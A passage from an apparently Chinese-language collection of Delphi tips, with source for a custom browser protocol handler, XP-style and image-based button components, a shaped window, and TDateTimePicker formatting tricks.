function TDynamicNS.Abort(hrReason: HResult; dwOptions: DWORD): HResult; stdcall;

begin

result := E_NOTIMPL;

end;

function TDynamicNS.Suspend: HResult; stdcall;

begin

result := E_NOTIMPL;

end;

function TDynamicNS.Resume: HResult; stdcall;

begin

result := E_NOTIMPL;

end;

function TDynamicNS.Seek(dlibMove: LARGE_INTEGER; dwOrigin: DWORD;

out libNewPosition: ULARGE_INTEGER): HResult;

begin

result := E_NOTIMPL;

end;

function TDynamicNS.LoadData(URL:String): Boolean;

var

F:TStream;

Dummy: LONGLONG;

begin

Result := False;

if Assigned(DynamicProtocol) then

begin

Result := DynamicProtocol.Accept(URL);

if Result then

begin

F := DynamicProtocol.LoadContent(URL);

CreateStreamOnHGlobal(0, True, DataStream);

TOleStream.Create(DataStream).CopyFrom(F, F.Size);

DataStream.Seek(0, STREAM_SEEK_SET, Dummy);

TotalSize := F.Size;

F.Free;

end;

end;

end;

{ TDynamicProtocol }

function TDynamicProtocol.Accept(const URL: String): Boolean;

begin

Result := False;

if Assigned(FOnAccept) then

FOnAccept(URL,Result);

end;

constructor TDynamicProtocol.Create;

begin

inherited;

FEnabled := False;

FProtocolName := 'local';

end;

destructor TDynamicProtocol.Destroy;

begin

if FEnabled then

StopProtocol;

inherited;

end;

function TDynamicProtocol.GetEnabled: Boolean;

begin

Result := FEnabled;

end;

function TDynamicProtocol.GetProtocolName: String;

begin

Result := FProtocolName;

end;

function TDynamicProtocol.LoadContent(const URL: String):TStream;

begin

//不可以返回空的流

if Assigned(FOnGetContent) then

begin

Result := TStringStream.Create('');

FOnGetContent(URL,Result);

Result.Position :=0;

if Result.Size = 0 then

(Result as TStringStream).WriteString(Format('<html><body><h3>Load %s Error.</h3></body></html>',[URL]));

end

else

Result := TStringStream.Create(Format('<html><body><h3>Load %s Error.</h3></body></html>',[URL]));

end;

procedure TDynamicProtocol.SetEnabled(const Value: Boolean);

begin

if FEnabled <> Value then

begin

FEnabled := Value;

if FEnabled then

StartProtocol

else

StopProtocol;

end;

end;

procedure TDynamicProtocol.SetProtocolName(const Value: String);

begin

if FEnabled then exit;

if FProtocolName <> Value then

FProtocolName := Value;

end;

procedure TDynamicProtocol.StartProtocol;

begin

CoGetClassObject(Class_DynamicNS, CLSCTX_SERVER, nil, IClassFactory, Factory);

CoInternetGetSession(0, InternetSession, 0);

InternetSession.RegisterNameSpace(Factory, Class_DynamicNS, PWideChar(WideString(FProtocolName)), 0, nil, 0);

end;

procedure TDynamicProtocol.StopProtocol;

begin

InternetSession.UnregisterNameSpace(Factory, PWideChar(WideString(FProtocolName)));

end;

initialization

TComObjectFactory.Create(ComServer, TDynamicNS, Class_DynamicNS,

'DynamicNS', 'DynamicNS', ciMultiInstance);//, tmApartment);

DynamicProtocol := TDynamicProtocol.Create;

finalization

DynamicProtocol.Free;

end.

/////////////////////////////////

最简单的例子：

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, DynamicNS_D3, OleCtrls, SHDocVw;

type

TForm1 = class(TForm)

wb: TWebBrowser;

procedure FormCreate(Sender: TObject);

private

{ Private declarations }

procedure OnContent(const url:String; var Stream:TStream);

procedure Accept(const URL:String;var Accept:Boolean);

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.dfm}

{ TForm1 }

procedure TForm1.OnContent(const url: String; var Stream: TStream);

begin

with Stream as TStringStream do

WriteString(url);

end;

procedure TForm1.Accept(const URL: String; var Accept: Boolean);

begin

Accept := True;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

DynamicProtocol.ProtocolName := 'myhttp';

DynamicProtocol.Enabled := True;

DynamicProtocol.OnGetContent := OnContent;

DynamicProtocol.OnAccept := Accept;

wb.Navigate('myhttp://hello');

end;

end.


用delphi编程实现XP界面效果

用delphi编程实现XP界面效果

给你个按扭=========================================================

{*******************************************************}

{ }

{ XPButton v1.01 }

{ }

{ Copyright (c) 2002-1 Liren Zhao BeiJing China }

{ }

{ HomePage: Http://Stef.533.net/54 }

{ Http://Aojianjianghu.126.com }

{ Address:Beijing Syntong Tech Delvelop co.,LTD }

{ Email:Liren.z@163.com }

{ }

{*******************************************************}

unit XPButton;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls, Buttons;

type

TShade = record

C: array[0..15] of TColor;

end;

type

TXPButton = class(TButton)

private

FBaseColor: TColor;

FCanvas: TCanvas;

IsFocused: Boolean;

Shade: TShade;

procedure CMEnabledChanged(var Message: TMessage); message CM_ENABLEDCHANGED;

procedure CMFontChanged(var Message: TMessage); message CM_FONTCHANGED;

procedure CNDrawItem(var Message: TWMDrawItem); message CN_DRAWITEM;

procedure DrawItem(const DrawItemStruct: TDrawItemStruct);

procedure SetBaseColor(Value: TColor);

function LoadShades(BaseColor: TColor): TShade;

function ShadeColor(BaseColor: TColor; Offset: Integer): TColor;

protected

procedure CreateParams(var Params: TCreateParams); override;

procedure SetButtonStyle(ADefault: Boolean); override;

public

constructor Create(AOwner: TComponent); override;

destructor Destroy; override;

published

//property BaseColor: TColor read FBaseColor write SetBaseColor default $00777777;

property OnClick;

property OnContextPopup;

property OnDragDrop;

property OnDragOver;

property OnEndDock;

property OnEndDrag;

property OnEnter;

property OnExit;

property OnKeyDown;

property OnKeyPress;

property OnKeyUp;

property OnMouseDown;

property OnMouseMove;

property OnMouseUp;

property OnStartDock;

property OnStartDrag;

end;

procedure Register;

implementation

procedure Register;

begin

RegisterComponents('Liren.z', [TXPButton]);

end;

constructor TXPButton.Create(AOwner: TComponent);

begin

inherited Create(AOwner);

FCanvas := TCanvas.Create;

FBaseColor := $00DDB9B9; //$00777777;

ControlStyle := ControlStyle - [csDoubleClicks];

Width := 85;

Height := 30;

Shade := LoadShades(FBaseColor);

end;

destructor TXPButton.Destroy;

begin

inherited Destroy;

FCanvas.Free;

end;

procedure TXPButton.CreateParams(var Params: TCreateParams);

begin

inherited CreateParams(Params);

with Params do Style := Style or BS_OWNERDRAW;

end;

procedure TXPButton.CNDrawItem(var Message: TWMDrawItem);

begin

DrawItem(Message.DrawItemStruct^);

end;

procedure TXPButton.CMFontChanged(var Message: TMessage);

begin

inherited;

Invalidate;

end;

procedure TXPButton.CMEnabledChanged(var Message: TMessage);

begin

inherited;

Invalidate;

end;

procedure TXPButton.DrawItem(const DrawItemStruct: TDrawItemStruct);

var

IsDown, IsDefault: Boolean;

Rec, FocusRect: TRect;

Flags: Longint;

FilCol, BorCol, CapCol, T1, T2, B1, B2: TColor;

begin

FCanvas.Handle := DrawItemStruct.hDC;

Rec := ClientRect;

with DrawItemStruct do begin

IsDown := itemState and ODS_SELECTED <> 0;

IsDefault := itemState and ODS_FOCUS <> 0;

end;

Flags := DFCS_BUTTONPUSH or DFCS_ADJUSTRECT;

if IsDown then Flags := Flags or DFCS_PUSHED;

if (DrawItemStruct.itemState and ODS_DISABLED <> 0) then

Flags := Flags or DFCS_INACTIVE;

FCanvas.Font := Font;

if Enabled then begin

BorCol := Shade.C[0];

if IsDown then begin

T1 := Shade.C[4];

T2 := Shade.C[5];

B1 := Shade.C[7];

B2 := Shade.C[8];

FilCol := Shade.C[6];

CapCol := Shade.C[15];

end

else begin

T1 := Shade.C[13];

T2 := Shade.C[15];

B1 := Shade.C[10];

B2 := Shade.C[7];

FilCol := Shade.C[13];

CapCol := Font.Color;

end

end

else begin

BorCol := Shade.C[8];

CapCol := Shade.C[8];

FilCol := Shade.C[13];

end;

with FCanvas do begin

Pen.Style := psSolid;

Brush := Parent.Brush;

FillRect(ClientRect);

Brush.Color := FilCol;

Pen.Color := BorCol;

InflateRect(Rec, -3, -3);

RoundRect(Rec.Left, Rec.Top, Rec.Right, Rec.Bottom, 3, 3);

if Enabled then begin

Pen.Color := T1;

MoveTo(Rec.Left + 1, Rec.Bottom - 3);

LineTo(Rec.Left + 1, Rec.Top + 1);

MoveTo(Rec.Left + 2, Rec.Top + 1);

LineTo(Rec.Right - 2, Rec.Top + 1);

Pen.Color := T2;

MoveTo(Rec.Left + 2, Rec.Bottom - 4);

LineTo(Rec.Left + 2, Rec.Top + 2);

LineTo(Rec.Right - 3, Rec.Top + 2);

Pen.Color := B1;

MoveTo(Rec.Left + 3, Rec.Bottom - 3);

LineTo(Rec.Right - 3, Rec.Bottom - 3);

LineTo(Rec.Right - 3, Rec.Top + 2);

Pen.Color := B2;

MoveTo(Rec.Left + 3, Rec.Bottom - 2);

LineTo(Rec.Right - 2, Rec.Bottom - 2);

MoveTo(Rec.Right - 2, Rec.Bottom - 3);

LineTo(Rec.Right - 2, Rec.Top + 2);

{ Make pixel-perfect modifications }

if IsDown then begin

Pixels[Rec.Left + 2, Rec.Top + 2] := T1;

Pixels[Rec.Left + 3, Rec.Top + 3] := T2;

Pixels[Rec.Left + 2, Rec.Bottom - 2] := B1;

Pixels[Rec.Right - 2, Rec.Top + 2] := B1;

Pixels[Rec.Right - 3, Rec.Bottom - 3] := B2;

Pixels[Rec.Right - 4, Rec.Bottom - 4] := B1;

end

else begin

Pixels[Rec.Left + 1, Rec.Top + 2] := Shade.C[11];

Pixels[Rec.Left + 2, Rec.Top + 1] := Shade.C[11];

Pixels[Rec.Left + 3, Rec.Top + 3] := T2;

Pixels[Rec.Left + 1, Rec.Bottom - 3] := Shade.C[11];

Pixels[Rec.Left + 2, Rec.Bottom - 2] := Shade.C[11];

Pixels[Rec.Right - 3, Rec.Top + 1] := Shade.C[11];

Pixels[Rec.Right - 2, Rec.Top + 2] := Shade.C[11];

Pixels[Rec.Right - 4, Rec.Bottom - 4] := B1;

Pixels[Rec.Right - 3, Rec.Bottom - 3] := B2;

end;

end;

InflateRect(Rec, -8, -4);

Font.Color := CapCol;

Rec.Top := Rec.Top - 1;

DrawText(Handle, PChar(Caption), Length(Caption), Rec,

DT_CENTER or DT_VCENTER or DT_SINGLELINE);

if Enabled then begin

FocusRect := Rect(6, 6, width - 6, height - 6);

if IsFocused then

DrawFocusRect(FocusRect);

end;

end;

FCanvas.Handle := 0;

end;

procedure TXPButton.SetButtonStyle(ADefault: Boolean);

begin

if (ADefault <> IsFocused) then begin

IsFocused := ADefault;

Invalidate;

end;

end;

procedure TXPButton.SetBaseColor(Value: TColor);

begin

if (Value <> FBaseColor) then begin

FBaseColor := Value;

Shade := LoadShades(FBaseColor);

Repaint;

end;

end;

function TXPButton.LoadShades(BaseColor: TColor): TShade;

var

Index: Integer;

begin

for Index := 0 to 7 do

Result.C[Index] := ShadeColor(BaseColor, -(7 - Index) * 17);

for Index := 8 to 15 do

Result.C[Index] := ShadeColor(BaseColor, (Index - 7) * 17);

end;

function TXPButton.ShadeColor(BaseColor: TColor; Offset: Integer): TColor;

var

Red, Green, Blue: Integer;

begin

Red := (BaseColor and $FF) + Offset;

Green := ((BaseColor and $FF00) div 256) + Offset;

Blue := ((BaseColor and $FF0000) div 65536) + Offset;

if (Red > $FF) then Red := $FF;

if (Red < $00) then Red := $00;

if (Green > $FF) then Green := $FF;

if (Green < $00) then Green := $00;

if (Blue > $FF) then Blue := $FF;

if (Blue < $00) then Blue := $00;

Result := (Blue * 65536) + (Green * 256) + Red;

end;

end.

制作特殊窗体=========================================================

{*******************************************************}

{ }

{ ImgForm v1.01 }

{ }

{ Copyright (c) 2002-1 Liren Zhao BeiJing China }

{ }

{ HomePage: Http://Stef.533.net/54 }

{ Http://Aojianjianghu.126.com }

{ Address:Beijing Syntong Tech Delvelop co.,LTD }

{ Email:Liren.z@163.com }

{ }

{*******************************************************}

unit ImgForm;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

ExtCtrls;

type

EImgFormError = class(Exception);

TImgForm = class(TCustomPanel) //TGraphicControl

private

FPicture:TBitMap;

FMoveForm:Boolean;

FormHandle:Hwnd;

procedure SetPicture(Value: TBitMap);

procedure PictureChange(Sender: TObject);

protected

procedure paint;override;

procedure MouseMove(Shift: TShiftState; X,Y: Integer);Override;

public

constructor Create(AOwner: TComponent); override;

destructor Destroy; override;

procedure Execute;

procedure HideInTaskBar;

published

property Picture: TBitMap read FPicture write SetPicture;

property MoveForm:boolean read FMoveForm write FMoveForm ;

property PopupMenu;

property DragCursor;

property DragKind;

property DragMode;

property OnClick;

property OnContextPopup;

property OnDblClick;

property OnDragDrop;

property OnDragOver;

property OnEndDock;

property OnEndDrag;

property OnMouseDown;

property OnMouseMove;

property OnMouseUp;

property OnStartDock;

property OnStartDrag;

end;

procedure Register;

implementation

procedure Register;

begin

RegisterComponents('Liren.z', [TImgForm]);

end;

{ TImgForm }

constructor TImgForm.Create(AOwner: TComponent);

begin

//记得以后加上，判断Parent是不是窗体，还有就是self的个数只能为一个

inherited Create(AOwner);

if not (AOwner is TForm) then //

raise EImgFormError.Create('Control parent must be a form!')

else

with (AOwner as TForm) do begin

AutoSize:=true;

BorderStyle:=bsNone;

FormHandle:=Handle;

end;

Align:=alClient;

FMoveForm:=true;

FPicture :=TBitMap.Create;

FPicture.OnChange:=PictureChange;

end;

destructor TImgForm.Destroy;

begin

FPicture.Free;

inherited Destroy;

end;

procedure TImgForm.paint;

const

XorColor = $00FFD8CE;

begin

with Canvas do begin

if (csDesigning in ComponentState) then begin

Pen.Style := psDot;

Pen.Mode := pmXor;

Pen.Color := XorColor;

Brush.Style := bsClear;

Rectangle(0, 0, ClientWidth, ClientHeight);

TextOut(5,5,'ImgForm');

moveto(0,0);

Lineto(Width,height);

moveto(0,Height);

Lineto(Width,0);

end;

if not FPicture.Empty then

Draw(0,0,FPicture);

end;

// inherited Paint; // 如果控件从TGraphicControl继承，就不要注释这里

end;

procedure TImgForm.PictureChange(Sender: TObject);

begin

if not FPicture.Empty then begin

Align:=alNone;

Width:=FPicture.Width;

Height:=FPicture.Height;

end

else

Align:=alClient;

end;

procedure TImgForm.Execute;

var

h,w,i,j:integer;

tc:Tcolor;

hrgn1,hrgn3:HRGN;

begin

if not FPicture.Empty then begin

tc:=FPicture.Canvas.Pixels[0,0];

h:=FPicture.Canvas.ClipRect.Bottom -FPicture.Canvas.ClipRect.top ;

w:=FPicture.Canvas.ClipRect.Right -FPicture.Canvas.ClipRect.left ;

hrgn3:=createrectrgn(0,0,w,h);

try

for i:=0 to w-1 do

for j:=0 to h-1 do

begin

if FPicture.Canvas.Pixels[i,j]=tc then

begin

deleteobject(hrgn1);

hrgn1:=CreateRectRgn(i,j,i+1,j+1);

if hrgn1<>0 then

begin

CombineRgn(hrgn3,hrgn3,hrgn1,RGN_DIFF);

end;

end;

end;

deleteobject(hrgn1);

setwindowrgn(FormHandle,hrgn3,true);

except

//RaiseException Here

end;

end;

end;

procedure TImgForm.SetPicture(Value: TBitMap);

begin

FPicture.Assign(Value);

Invalidate;

end;

procedure TImgForm.MouseMove(Shift: TShiftState; X,

Y: Integer);

begin

inherited;

if FMoveForm then begin

ReleaseCapture;

(Parent as TForm).perform(WM_SysCommand, $F012, 0);

end;

end;

procedure TImgForm.HideInTaskBar;

var

ExtendedStyle : Integer;

begin

ExtendedStyle := GetWindowLong (Application.Handle, GWL_EXSTYLE);

SetWindowLong(Application.Handle, GWL_EXSTYLE, ExtendedStyle OR WS_EX_TOOLWINDOW AND NOT WS_EX_APPWINDOW);

end;

end.

使用图片做按扭的控件=========================================

{*******************************************************}

{ }

{ ImgButton v2.01 (Freeware) }

{ }

{ Copyright (c) 2002-1 Liren Zhao BeiJing China }

{ }

{ HomePage: Http://Stef.533.net/54 }

{ Http://Aojianjianghu.126.com }

{ }

{ Email:Liren.z@163.com }

{ }

{*******************************************************}

unit ImgButton;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

type

TImgButton = class(TGraphicControl)

private

FGNormal: TBitmap;

FGMouseDown: TBitMap;

FGMouseUp: TBitMap;

FGDisabled: TBitMap;

tmpBitmap: TBitMap;

FCaption: String;

FShowCaption: Boolean;

FModalResult: TModalResult;

FFont:TFont;

procedure SetGNormal(Value: TBitMap);

procedure SetGMouseDown(Value: TBitMap);

procedure SetGMouseUp(Value: TBitMap);

procedure SetGDisabled(Value: TBitMap);

procedure SetCaption(Value:String);

procedure Resize(Sender: TObject);

procedure SetShowCaption(Value:Boolean);

procedure DrawCaption;

procedure SetFont(Value:TFont);

protected

procedure paint;override;

procedure MouseEnter(var Msg: TMessage); message CM_MOUSEENTER;

procedure MouseLeave(var Msg: TMessage); message CM_MOUSELEAVE;

procedure MouseDown(Button: TMouseButton; Shift: TShiftState; X, Y: Integer); override;

procedure MouseUp(Button: TMouseButton; Shift: TShiftState; X, Y: Integer); override;

public

constructor Create(AOwner: TComponent); override;

destructor Destroy; override;

published

property PictureEnter: TBitMap read FGMouseUp write SetGMouseUp;

property PictureDown: TBitMap read FGMouseDown write SetGMouseDown;

property PictureNormal: TBitMap read FGNormal write SetGNormal;

property PictureDisable: TBitMap read FGDisabled write SetGDisabled;

property ModalResult: TModalResult read FModalResult write FModalResult default 0;

property Caption: String read FCaption write SetCaption;

property ShowCaption:Boolean read FShowCaption write SetShowCaption;

property Font:TFont read FFont write SetFont;

property Action;

property Anchors;

property Enabled;

property ParentShowHint;

property PopupMenu;

property ShowHint;

property Visible;

property OnClick;

property OnDblClick;

property OnMouseDown;

property OnMouseMove;

property OnMouseUp;

end;

procedure Register;

implementation

procedure Register;

begin

RegisterComponents('Liren.z', [TImgButton]);

end;

{ TImgButton }

constructor TImgButton.Create(AOwner: TComponent);

begin

inherited Create(AOwner);

Width := 100;

Height := 100;

FGNormal :=TBitMap.Create;

FGMouseDown :=TBitMap.Create;

FGMouseUp :=TBitMap.Create;

FGDisabled :=TBitMap.Create;

tmpBitmap :=TBitMap.Create;

OnResize:=Resize;

With Canvas.Font do begin

Charset:=GB2312_CHARSET;

Color:= clWindowText;

Height:=-12;

Name:='宋体';

Pitch:=fpDefault;

Size:=9;

end;

FFont:=Canvas.Font;

end;

destructor TImgButton.Destroy;

begin

FGNormal.Free;

FGMouseDown.Free;

FGMouseUp.Free;

FGDisabled.Free;

tmpBitMap:=nil;

tmpBitmap.Free;

inherited Destroy;

end;

procedure TImgButton.paint;

const

XorColor = $00FFD8CE;

begin

with Canvas do begin

if (csDesigning in ComponentState) then begin

Pen.Style := psDot;

Pen.Mode := pmXor;

Pen.Color := XorColor;

Brush.Style := bsClear;

Rectangle(0, 0, ClientWidth, ClientHeight);

end;

if not Enabled then

if not FGDisabled.Empty then

tmpBitmap:= FGDisabled

else

tmpBitMap:=FGNormal

else

tmpBitMap:=FGNormal;

Canvas.StretchDraw(ClientRect, tmpBitmap);

DrawCaption;

end;

end;

procedure TImgButton.SetGDisabled(Value: TBitMap);

begin

FGDisabled.Assign(Value);

Invalidate;

end;

procedure TImgButton.SetGMouseDown(Value: TBitMap);

begin

FGMouseDown.Assign(Value);

Invalidate;

end;

procedure TImgButton.SetGNormal(Value: TBitMap);

begin

FGNormal.Assign(Value);

tmpBitmap:= FGNormal;

Width:=FGNormal.Width;

Height:=FGNormal.Height;

Repaint;

Canvas.StretchDraw(ClientRect, FGNormal);

Invalidate;

end;

procedure TImgButton.SetGMouseUp(Value: TBitMap);

begin

FGMouseUp.Assign(Value);

Invalidate;

end;

procedure TImgButton.MouseDown(Button: TMouseButton; Shift: TShiftState; X,Y: Integer);

begin

if (x>0) and (x<Width) and (y>0) and (y<Height) then begin

if button = mbLeft then begin

Repaint;

Canvas.StretchDraw(ClientRect, FGMouseDown);

DrawCaption;

end;

end;

inherited;

end;

procedure TImgButton.MouseEnter(var Msg: TMessage);

begin

if Enabled then begin

Repaint;

Canvas.StretchDraw(ClientRect, FGMouseUp);

DrawCaption;

end;

end;

procedure TImgButton.MouseLeave(var Msg: TMessage);

begin

if Enabled then begin

Repaint;

Canvas.StretchDraw(ClientRect, FGNormal);

DrawCaption;

end;

end;

procedure TImgButton.MouseUp(Button: TMouseButton; Shift: TShiftState; X,

Y: Integer);

begin

if (x>0) and (x<Width) and (y>0) and (y<Height) then begin

if button = mbLeft then begin

Repaint;

Canvas.StretchDraw(ClientRect, FGMouseUp);

DrawCaption;

end;

end;

inherited;

end;

procedure TImgButton.Resize(Sender: TObject);

begin

if not FGNormal.Empty then begin

Width:=FGNormal.Width;

Height:=FGNormal.Height;

DrawCaption;

end;

end;

procedure TImgButton.SetCaption(Value: String);

begin

FCaption:=Value;

DrawCaption;

Invalidate;

end;

procedure TImgButton.DrawCaption;

var

x,y:integer;

begin

if FShowCaption then begin

with Canvas do begin

Brush.Style := bsClear;

x:=Round((Width-TextWidth(Caption))/2);

y:=Round((Height-TextHeight(Caption))/2);

TextOut(x,y,Caption);

end;

end;

end;

procedure TImgButton.SetShowCaption(Value: Boolean);

begin

FShowCaption:=Value;

Invalidate;

end;

procedure TImgButton.SetFont(Value: TFont);

begin

FFont:=Value;

Canvas.Font:=Value;

Invalidate;

end;

end.


控件阴影

procedure ShadeIt(f: TForm; c: TControl; Width: Integer; Color: TColor);

var

rect: TRect;

old: TColor;

begin

if (c.Visible) then

begin

rect := c.BoundsRect;

rect.Left := rect.Left + Width;

rect.Top := rect.Top + Width;

rect.Right := rect.Right + Width;

rect.Bottom := rect.Bottom + Width;

old := f.Canvas.Brush.Color;

f.Canvas.Brush.Color := Color;

f.Canvas.fillrect(rect);

f.Canvas.Brush.Color := old;

end;

end;

procedure TForm1.FormPaint(Sender: TObject);

var

i: Integer;

begin

for i := 0 to Self.ControlCount - 1 do

ShadeIt(Self, Self.Controls[i], 3, clBtnShadow);

end;


如何禁止一个控件而不变灰？

请参考下面的代码：

procedure EnableControl(AControl: TWinControl; Enable: Boolean);

begin

with AControl do

if Enable then

SetWindowLong(Handle, GWL_STYLE, (not WS_DISABLED) and GetWindowLong(Handle, GWL_STYLE))

else

SetWindowLong(Handle, GWL_STYLE, WS_DISABLED + GetWindowLong(Handle, GWL_STYLE));

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

EnableControl(BitBtn1,False);

BitBtn1.Font.Color := clGreen;

end;


让你的应用程序背景与桌面溶合

Windows API可以给我们的程序带来许多的方便，现在我们便来讨论一个使用

PaintDeskop。

PaintDesktop是一个在WindowsNT中可以用的Api.

我们首先做一个简单的例子。

procedure TForm1.Button1Click(Sender:TObject);

begin

PaintDesktop(Canvas.handle);

end;

点击一下button1，你可以发现你的应用程序的背景是桌面的一部分。

但是如果你的程序中有TLabel，TImage等东西，你会发现它们都消失了，这是

因为你还没有对它们进行重绘。如果我们要对所有的TLabel进行重画。可以用

下面的过程。

procedure PaintWithDesktop(AForm:TForm);

var

i: integer;

begin

with AForm do

begin

PaintDeskTop(Canvas.handle);

for i:=0 to ControlCount-1 do

if Controls[i] is TGraphicControl then

Controls[i].perform(WM_PAINT, TLabel(Controls[i]).canvas.handl

e, 0);

end;

end;

如果我们要使程序自动的重画，只要在WM_MOVE,WM_Paint,写下以下代码。

procedure TForm1.WMMove(var Message: TWMMove);

begin

inherited;

PaintWithDesktop(self);

end;

procedure TForm1.WMPaint(var Message: TWMPaint);

begin

inherited;

PaintWithDesktop(self);

end;


程序退出任务栏空格问题解决

某些程序退出后会在任务栏中留下一个任务空格，点一下方会消失。

如何处理？

看下面的空窗体就会有这个问题： object Form1: TForm1

Left = 138

Top = 98

Width = 544

Height = 375

BorderIcons = [biSystemMenu, biMinimize]

Caption = 'Form1'

Color = clBtnFace

Font.Charset = DEFAULT_CHARSET

Font.Color = clWindowText

Font.Height = -11

Font.Name = 'MS Sans Serif'

Font.Style = []

OldCreateOrder = False

WindowState = wsMaximized

PixelsPerInch = 96

TextHeight = 13

end

究其原因，就是因为窗体的 WindowState = wsMaximized，而且

BorderIcons 中没有 biMaximize 属性。为此可以有下解决办法：

procedure TForm1.FormCloseQuery(Sender: TObject; var

CanClose: Boolean);

begin

Form1.BorderIcons := Form1.BorderIcons + [biMaximize];

end;

放在 OnCloseQuery 事件中是因为它能够在关闭之前执行，它比

OnClose 事件先执行，效果理论上比之好。


日历控件的标记特殊日期

看下面的日历控件，其中的3、21、28这几天，是粗体显示的，那么如何做到呢？

{

Use BoldDays to encode the days of the current month

that should appear in bold.

}

procedure TForm1.MonthCalendar1GetMonthInfo(Sender: TObject;

Month: Cardinal; var MonthBoldInfo: Cardinal);

begin

if Month = 4 then { April}

MonthCalendar1.BoldDays([3,21,28],MonthBoldInfo); { Day 3, 21, 28 }

end;


TDateTimePicker的初始化

...Show Week Numbers in a TDateTimePicker?

在DateTimePicker中显示星期？

uses

CommCtrl;

type

THackCommonCalendar = class(TCommonCalendar);

{...}

procedure TForm1.DateTimePicker1DropDown(Sender: TObject);

var

Style: Integer;

ReqRect: TRect;

MaxTodayWidth: Integer;

begin

with THackCommonCalendar(Sender as TDateTimePicker) do

begin

// set style to include week numbers

Style := GetWindowLong(CalendarHandle, GWL_STYLE);

SetWindowLong(CalendarHandle, GWL_STYLE, Style or MCS_WEEKNUMBERS);

FillChar(ReqRect, SizeOf(TRect), 0);

// get required rect

Win32Check(MonthCal_GetMinReqRect(CalendarHandle, ReqRect));

// get max today string width

MaxTodayWidth := MonthCal_GetMaxTodayWidth(CalendarHandle);

// adjust rect width to fit today string

if MaxTodayWidth > ReqRect.Right then

ReqRect.Right := MaxTodayWidth;

// set new height & width

SetWindowPos(CalendarHandle, 0, 0, 0, ReqRect.Right, ReqRect.Bottom,

SWP_NOACTIVATE or SWP_NOMOVE or SWP_NOZORDER);

end;

end;

********************************

如何实现再开始的时候，让DateTimePicker如下面一样，提醒用户选择时间？

{

Use the DateTime_SetFormat API macro (put CommCtrl in the uses clause) to set

the date to blank or a message.

Then in the DateTimePicker OnCloseUp event handler set the format to what you

want when a date has been selected, and the DTP will show the selected date.

Attach an OnClick handler if you want it to open when you

click on the edit control.

}

uses

CommCtrl;

var

FDTMDateEmpty: Boolean;

procedure TForm1.FormCreate(Sender: TObject);

begin

DateTime_SetFormat(DateTimePicker1.Handle, '''Choose a date''');

FDTMDateEmpty := True;

end;

procedure TForm1.DateTimePicker1CloseUp(Sender: TObject);

begin

DateTime_SetFormat(DateTimePicker1.Handle, PChar('dd.MM.yy'));

end;

procedure TForm1.DateTimePicker1Click(Sender: TObject);

begin

if FDTMDateEmpty then

begin

DateTimePicker1.Perform(WM_KEYDOWN, VK_F4, 0);

DateTimePicker1.Perform(WM_KEYUP, VK_F4, 0);

end;

end;

procedure TForm1.DateTimePicker1Change(Sender: TObject);

begin

FDTMDateEmpty := False;

end;


设置TdateTimePicker的显示格式

下面的必须Uses CommCtrl单元。

TDateTimePicker这个控件时间的显示方式比较单调，只有长短两种格式，那么如何自定义自己的格式呢？请看下面的论述：

TDateTimePicker的时间显示符合DTM的标准，所以可以修改DTM设置改变其显示格式。和日期相关的DTM宏（函数）有：

DateTime_GetMonthCal ///得到月历子窗口的句柄

GetTime_GetMonthCalColor ///得到月历颜色

DateTime_GetMonthCalFont ///取月历字体

DateTime_GetRange ///取可选范围

DateTime_GetSystemTime ///取系统时间

DateTime_SetFormat ///设置显示格式

DateTime_SetMonthCalColor ///设置月历颜色

DateTime_SetMonthCalFont ///设置字体

DateTime_GetRange ///取范围

DateTime_SetSystemTime ///设置系统时间

TDateTimePicker可以使用上面的任意一个宏！除此之外，还可以通过发送消息的方法来设置DateTimePicker控件的一些属性：

SendMessage(Handle,DTM_SETFORMAT,0,LongInt(PChar('yyyy/mm/dd')));

其中的Mask如下：

Day

d Day of the month as digits without leading zeros for single digit days.

dd Day of the month as digits with leading zeros for single digit days

ddd Day of the week as a 3-letter abbreviation as given by a LOCALE_SABBREVDAYNAME value.

dddd Day of the week as given by a LOCALE_SDAYNAME value.

Month

M Month as digits without leading zeros for single digit months.

MM Month as digits with leading zeros for single digit months

MMM Month as a three letter abbreviation as given by a LOCALE_SABBREVMONTHNAME value.

MMMM Month as given by a LOCALE_SMONTHNAME value.

Year

y Year represented only be the last digit.

yy Year represented only be the last two digits.

yyyy Year represented by the full 4 digits.

也可以设置时间的格式，其中时间的Mask如下：

Hours

h Hours without leading zeros for single digit hours (12 hour clock)

hh Hours with leading zeros for single digit hours (12 hour clock)

H Hours without leading zeros for single digit hours (24 hour clock)

HH Hours with leading zeros for single digit hours (24 hour clock)

Minutes

m Minutes without leading zeros for single digit minutes

mm Minutes with leading zeros for single digit minutes

Seconds

s Seconds without leading zeros for single digit seconds

ss Seconds with leading zeros for single digit seconds

Time Marker

t One character time marker string

tt Multi-character time marker string

下面是两个控件，一个是改良的TDateTimePicker控件，一个是和数据库关联的TDateTimePicker控件！那个和数据库关联的日历控件很好用噢！！！

///FileName:RRSDateTime.pas

unit RRSDateTime;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

ComCtrls, Commctrl, DB, DBCtrls;

type

TRRSDateTime = class(TDateTimePicker)

private

{ Private declarations }

FLongDateFormat: string;

FLongTimeFormat: string;

FShortDateFormat: string;

FShortTimeFormat: string;

protected

{ Protected declarations }

procedure CreateWnd; override;

function GetDateFormat: TDTDateFormat;

procedure SetDateFormat(Value: TDTDateFormat);

function GetKind: TDateTimeKind;

procedure SetKind(Value: TDateTimeKind);

procedure SetLongDateFormat(const Value: string);

procedure SetLongTimeFormat(const Value: string);

procedure SetShortDateFormat(const Value: string);

procedure SetShortTimeFormat(const Value: string);

procedure CheckEmptyDate; override;

public

{ Public declarations }

constructor Create(AOwner: TComponent); override;

published

{ Published declarations }

property DateFormat: TDTDateFormat read GetDateFormat write SetDateFormat;

property Kind: TDateTimeKind read GetKind write SetKind;

property LongDateFormat: string read FLongDateFormat write SetLongDateFormat;

property LongTimeFormat: string read FLongTimeFormat write SetLongTimeFormat;

property ShortDateFormat: string read FShortDateFormat write SetShortDateFormat;

property ShortTimeFormat: string read FShortTimeFormat write SetShortTimeFormat;

end;

